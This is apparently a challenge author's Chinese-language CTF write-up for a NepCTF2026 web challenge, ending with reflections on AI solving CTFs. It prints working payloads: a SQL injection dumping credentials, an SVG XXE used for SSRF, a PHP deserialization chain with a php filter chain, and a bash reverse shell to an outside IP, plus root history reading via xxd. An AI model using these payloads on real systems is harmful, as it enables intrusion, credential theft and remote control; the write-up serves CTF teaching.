NepCTF2026

tiran Lv2

web?re?

1.sql二次注入

首先随便先注册一个账号,登陆后可以发现基本没有功能,唯一算是功能的点就这个用户推荐的功能了

所以我们就可以去想这个功能后端可能是一个sql实现的,截取@后面的部分到数据库中匹配(应该可以想到吧)

所以随便测测应该就能出了

1
x@' UNION SELECT 1, username, password FROM users--

然后拿到admin账号密码就可以到下一步了

2.svg打ssrf

进入到admin账号后是一个svg图片上传,

然后svg去读文件应该都知道就不啰嗦了,然后一同找flag时应该能发现找不到flag,并且能发现还有apache相关的东西,所以猜测127.0.0.1还有一个php的服务

然后去访问可以发现确实有一个php的服务在80端口

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "http://127.0.0.1:80/">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="200">
<text x="10" y="40" font-size="24" fill="red">&flag;</text>
</svg>

3.反序列化链子

拿到主要源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class test{
public $readflag;
public $f;
public $key;
public function __construct(){
$this->readflag=new class{
public function __construct(){
if(isset($_GET['file'])){
$GLOBALS['file']=$_GET['file'];
}
}
public function __wakeup(){
phpinfo();
}
public function readflag(){
function readflag(){
if(isset($GLOBALS['file'])){
$file=$GLOBALS['file'];
base64_encode(include($file));
}
}
}
};
}
public function __wakeup(){
if(is_array($this->f)){
$new=[];
foreach($this->f as $k=>$v){
if(is_string($v)){
$new[$k]=strval($v);
}elseif(is_object($v)){
$new[$k]=clone $v;
}else{
$new[$k]=$v;
}
}
$this->f=$new;
}
if(is_string($this->readflag)){
$this->readflag=strval($this->readflag);
}
if(is_string($this->key)){
$this->key=strval($this->key);
}
}
public function __destruct(){
$func=$this->f;
$GLOBALS['filename']=$this->readflag;
if($this->key=='class'){
new $func();
}else if($this->key=='func'){
$func();
}else{
echo base64_encode(file_get_contents('index.php'));
}
}
}
$ser=isset($_GET['land'])?$_GET['land']:'O:4:"test":N';
@unserialize($ser);

毕竟是炒冷饭并且也没咋改,所以拿ai重新跑一遍就能出flag了

(灵感来源去年2025强网杯ez_php二改,这是我第一次大赛出的一个算比较高分的题,当时我做了可能快5、6个小时,可如今5.5直接7min拿下。确实改的比原题简单一倍

然后就又到了include去打rce了

4.1 php filter chain(预期)

去读ini文件可以发现data协议用不了了

这时候就可以去打php filter chain

(灵感来源前年iscc谁动了我的奶酪,因为include导致被上马了,当年的我才大一,一个文件包含可以去打rce给我震撼到了,所以当时研究了挺久给我)

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "http://127.0.0.1:80/?land=a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A62%3A%22class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A2%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D%7D&file=php://filter/convert.iconv.UTF8.CSISO2022KR/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.GBK.UTF-8/convert.iconv.IEC_P27-1.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.865.UTF16/convert.iconv.CP901.ISO6937/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT/convert.iconv.ISO-IR-103.850/convert.iconv.PT154.UCS4/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.SJIS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.BIG5/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1162.UTF32/convert.iconv.L4.T.61/convert.iconv.ISO6937.EUC-JP-MS/convert.iconv.EUCKR.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CN.ISO2022KR/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-2.OSF00030010/convert.iconv.CSIBM1008.UTF32BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.8859_3.UTF16/convert.iconv.863.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF16/convert.iconv.ISO6937.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF32/convert.iconv.L6.UCS-2/convert.iconv.UTF-16LE.T.61-8BIT/convert.iconv.865.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.MAC.UTF16/convert.iconv.L8.UTF16BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSIBM1161.UNICODE/convert.iconv.ISO-IR-156.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.IBM932.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=/etc/passwd&1=system('bash%20-c%20%22bash%20-i%20%3E%26%2Fdev%2Ftcp%2F47.xxx.xxx.xxx%2F9999%200%3E%261%22');">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="200">
<text x="10" y="40" font-size="24" fill="red">&flag;</text>
</svg>

完整反弹shll的svg

上传后点击预览

拿到shell

4.2 include去包含svg(非预期)

由于我忘记设置open_basedir了导致可以include我们上传的文件,所以导致非预期QAQ

5.1获取二进制文件等(预期)

(灵感来源有一次打渗透,有一个密码在history里面,还有一个啥玩意在.bashrc里面忘了,反正我就记得这俩玩意印象挺深,导致我现在都有ptsd了,拿到一台机器上去就是history起手)

进来一天乱翻发现没有flag,然后拿到的是www-data,所以先看看能不能提权一下

发现xxd,然后查看root的环境变量与历史命令

1
2
xxd /root/.bashrc
xxd /root/.bash_history

发现历史命令执行了sendthef1ag,然后拉下来分析分析它会读取环境变量里面的SEND_KEY然后解密flag发送到80端口

所以我们根本不用解密,我们只要设置好环境变量再运行一次,然后看日志即可

1
xxd /var/log/apache2/access.log

也可以利用xxd反向模式拿root

5.2 非预期

/proc/1/environ我忘删了QAQ

然后就是杀鸡用牛刀这块

居然还有asm

6.碎碎念

在如今,ai出题ai做已经成为常态了,那人类还能做什么,或者说ai应该做什么呢?我不知道,但我感觉在如今的ctf环境下,还没有一个很好的规则约束或者说区分下,这种ctf本就是不合理的,就如同一个织毛衣比赛(ctf),把人类手工(纯手工),人类使用织衣机(与大模型交互),纯纯织衣机(全流程agent),统统放在一起按照织毛衣的件数(ctf的解题数或是说分数)排名,这难道不可笑吗。与其反复与ai斗智斗勇,为ai“量身打造”题目以至于到了去恶心人类选手地步,所以我就把我这些年做的印象最深的题放一起柔和成了这一个题,以纪念死去的ctf吧。(但是到了最后感觉好像我这题也变成了那种恶心人类选手的题了QAQ)

  • 标题: NepCTF2026
  • 作者: tiran
  • 创建于 : 2026-07-31 11:58:37
  • 更新于 : 2026-07-31 12:00:12
  • 链接: https://www.tiran.cc/2026/07/31/NepCTF2026/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。